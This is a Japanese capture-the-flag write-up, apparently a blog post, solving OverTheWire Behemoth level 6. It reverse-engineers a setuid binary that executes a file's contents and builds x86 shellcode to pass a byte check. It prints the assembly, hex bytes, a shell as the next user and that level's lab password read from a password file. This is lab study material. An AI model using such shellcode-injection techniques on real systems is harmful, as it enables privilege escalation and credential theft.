OverTheWire:Behemoth6
Behemoth もこの問題を入れて、残り2問になる。今回はレベル 6 。
レベル7にログインするためのパスワードを入手するのがゴールである。
さあ、始めよう。
前回の記事で入手したパスワードを使用して問題のサーバーに接続する。
ssh behemoth6@behemoth.labs.overthewire.org -p 2221
今回、解析するプログラムは behemoth6 と behemoth6_reader の2つ。
behemoth6@behemoth:~$ ls -l /behemoth/
total 72
-r-sr-x--- 1 behemoth1 behemoth0 5900 Aug 26 2019 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 5036 Aug 26 2019 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 7536 Aug 26 2019 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 5180 Aug 26 2019 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 7488 Aug 26 2019 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 7828 Aug 26 2019 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 7564 Aug 26 2019 behemoth6 # <---
-r-xr-x--- 1 behemoth7 behemoth6 7528 Aug 26 2019 behemoth6_reader #<--
-r-sr-x--- 1 behemoth8 behemoth7 5676 Aug 26 2019 behemoth7
とりあえず実行してみる。
behemoth6@behemoth:~$ /behemoth/behemoth6
Incorrect output.
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6
__libc_start_main(0x80485db, 1, 0xffffd764, 0x80486d0 <unfinished ...>
popen("/behemoth/behemoth6_reader", "r") = 0x804b008
malloc(10) = 0x804b0b8
fread(0x804b0b8, 10, 1, 0x804b008) = 1
pclose(0x804b008 <no return ...>
--- SIGCHLD (Child exited) ---
<... pclose resumed> ) = 0
strcmp("Couldn't o", "HelloKitty") = -1
puts("Incorrect output."Incorrect output.
) = 18
+++ exited (status 0) +++
トレースの結果から判るのは、以下の2点。
<トレース結果から判明した動作>
1) behemoth6 から behemoth6_reader が起動されている。
2) behemoth6_reader の実行結果が "HelloKitty" かどうかチェックしている
behemoth6_reader の方はどんな動作をするプログラムだろう?
とりあえず、実行してみる。
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6_reader
__libc_start_main(0x80485ab, 1, 0xffffd754, 0x80486b0 <unfinished ...>
fopen("shellcode.txt", "r") = 0
puts("Couldn't open shellcode.txt!"Couldn't open shellcode.txt!
) = 29
+++ exited (status 0) +++
shellcode.txt というファイルを読み込もうとしてエラーになった。
behemoth6_reader の動作を解析するため、逆アセンブルして調べてみる。
<逆アセンブル>
objdump -d -M intel /behemoth/behemoth6_reader
80485ab <main>:
80485ab: 8d 4c 24 04 lea ecx,[esp+0x4]
80485af: 83 e4 f0 and esp,0xfffffff0
80485b2: ff 71 fc push DWORD PTR [ecx-0x4]
80485b5: 55 push ebp
80485b6: 89 e5 mov ebp,esp
80485b8: 51 push ecx
80485b9: 83 ec 24 sub esp,0x24
80485bc: 83 ec 08 sub esp,0x8
80485bf: 68 30 87 04 08 push 0x8048730
80485c4: 68 32 87 04 08 push 0x8048732
80485c9: e8 c2 fe ff ff call 8048490 <fopen@plt>
80485ce: 83 c4 10 add esp,0x10
#---------------( 中略 )--------------------------
804868a: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
804868d: 3b 45 ec cmp eax,DWORD PTR [ebp-0x14]
8048690: 7c cb jl 804865d <main+0xb2>
8048692: 8b 45 e8 mov eax,DWORD PTR [ebp-0x18]
8048695: 89 45 e4 mov DWORD PTR [ebp-0x1c],eax
8048698: 8b 45 e4 mov eax,DWORD PTR [ebp-0x1c]
804869b: ff d0 call eax
804869d: b8 00 00 00 00 mov eax,0x0
80486a2: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]
80486a5: c9 leave
アセンブラのコードを眺めてみて、大体の動作が判った
<behemoth6_reader の動作>
1) shellcode.txt というファイルを開いて、メモリに読み込む
2) 読み込んだ内容の2バイト目の下位4ビットが 0x0b でないかをチェックする(cmp al,0xb)
3) shellcode.txt を読み込んだメモリの先頭アドレスに制御を移す。(call eax)
つまり "HelloKitty" と画面に表示するコードを shellcode.txt というファイル名で保存した後に問題のプログラムを実行すれば何とかなりそうだ。
ということで、シェルコード作成に取りかかろう。
シェルコードはアセンブラで書く必要がある。
画面に文字を表示するのはシステムコールの write() を呼べばよい。
ソフトウェア割込の番号は /usr/include/asm/unistd_32.h に書いてある。
$ grep write /usr/include/asm/unistd_32.h #define __NR_write 4 #define __NR_writev 146 #define __NR_pwrite64 181 #define __NR_pwritev 334 #define __NR_process_vm_writev 348 #define __NR_pwritev2 379
write() の割込み番号は 4番であることが判った。
ということで、"HelloKitty"を表示するプログラムを書いてみた。
bits 32
section .text
global _start
_start:
jmp short kitty
main_proc:
xor eax,eax
mov ebx,eax
mov ecx,eax
inc al
inc al
inc al
inc al ; sys_write(04)
inc bl ; stdiout(01)
pop ecx ; address 'HelloKitty'
mov dl, 11 ; length
int 0x80 ; syscall write(int fd, char* msg, int length)
xor eax,eax
inc al ; sys_exit(01)
int 0x80 ; syscall exit(1)
kitty:
call main_proc
msg db 'HelloKitty'
これをアセンブルして生成されたマシン語を眺めてみる。
$ nasm -f elf32 hellokitty2.S
$ ld -m elf_i386 -o hellokitty2 hellokitty2.o
$ objdump -d -M intel hellokitty2
hellokitty2: ファイル形式 elf32-i386
セクション .text の逆アセンブル:
08049000 <_start>:
8049000: eb 1b jmp 804901d <kitty>
08049002 <main_proc>:
8049002: 31 c0 xor eax,eax
8049004: 89 c3 mov ebx,eax
8049006: 89 c1 mov ecx,eax
8049008: fe c0 inc al
804900a: fe c0 inc al
804900c: fe c0 inc al
804900e: fe c0 inc al
だめだ!先頭2バイトが "eb1b"になっているので、2バイト目の下位4ビット が0x0b になっている。
幾つか試してみて、最初に ジャンプ命令(jmp)があると、2バイト目が 0x1bになることが判った。ということで、以下のようにコードを書き直した。
bits 32
section .text
global _start
_start:
call main_proc
msg db 'HelloKitty'
main_proc:
xor eax,eax
mov ebx,eax
mov ecx,eax
inc al
inc al
inc al
inc al ; sys_write(04)
inc bl ; stdiout(01)
pop ecx ; address 'HelloKitty'
mov dl, 10 ; length
int 0x80 ; syscall write(int fd, char* msg, int length)
xor eax,eax
inc al ; sys_exit(01)
int 0x80 ; syscall exit(1)
このプログラムをアセンブルして、マシン語を眺めてみる。
$ objdump -d -M intel hellokitty3
hellokitty3: ファイル形式 elf32-i386
セクション .text の逆アセンブル:
08049000 <_start>:
8049000: e8 0a 00 00 00 call 804900f <main_proc>
08049005 <msg>:
8049005: 48 dec eax
8049006: 65 6c gs ins BYTE PTR es:[edi],dx
8049008: 6c ins BYTE PTR es:[edi],dx
8049009: 6f outs dx,DWORD PTR ds:[esi]
804900a: 4b dec ebx
804900b: 69 .byte 0x69
804900c: 74 74 je 8049082 <main_proc+0x73>
804900e: 79 .byte 0x79
先頭2バイトは e8 0a になった。ヌルバイトが並んでいるのは気に食わないが、特にチェックしている様子も見えないので何とかなるかもしれない。
上記のダンプから以下のコマンドでマシン語部分を抽出すると以下のようなテキストファイルが出来上がる。
<コマンド>
objdump -d -M intel hellokitty3 | grep '^ ' | cut -f 2| perl -pe 's/(\w{2})\s+/\\x\1/g' > hellokitty3_code.txt
$ cat hellokitty3_code.txt
\xe8\x0a\x00\x00\x00\x48\x65\x6c\x6c\x6f\x4b\x69\x74\x74\x79\x31\xc0\x89\xc3\x89\xc1\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc0\xfe\xc3\x59\xb2\x0a\xcd\x80\x31\xc0\xfe\xc0\xcd\x80
このファイルを以下のコマンドでバイナリに変換する。
<コマンド>
echo -ne $(cat hellokitty3_code.txt) > shellcode.txt
$ echo -ne $(cat hellokitty3_code.txt) > shellcode.txt
hage@Marcy:~/overthewire$ hexdump -C shellcode.txt
00000000 e8 0a 00 00 00 48 65 6c 6c 6f 4b 69 74 74 79 31 |.....HelloKitty1|
00000010 c0 89 c3 89 c1 fe c0 fe c0 fe c0 fe c0 fe c3 59 |...............Y|
00000020 b2 0a cd 80 31 c0 fe c0 cd 80 |....1.....|
これで準備OK。
あとは 問題のプログラムを実行するだけだ。
behemoth6@behemoth:/tmp/foo$ /behemoth/behemoth6
Correct.
$ id
uid=13007(behemoth7) gid=13006(behemoth6) groups=13006(behemoth6)
$ cat /etc/behemoth_pass/behemoth7
baquoxuafo
$
想定通りに動作して、シェルが起動。
次レベル(behemoth7 )のパスワードを入手することができた。
めでたしめでたし。
今日はこれでおしまい!
この記事が気に入ったらサポートをしてみませんか?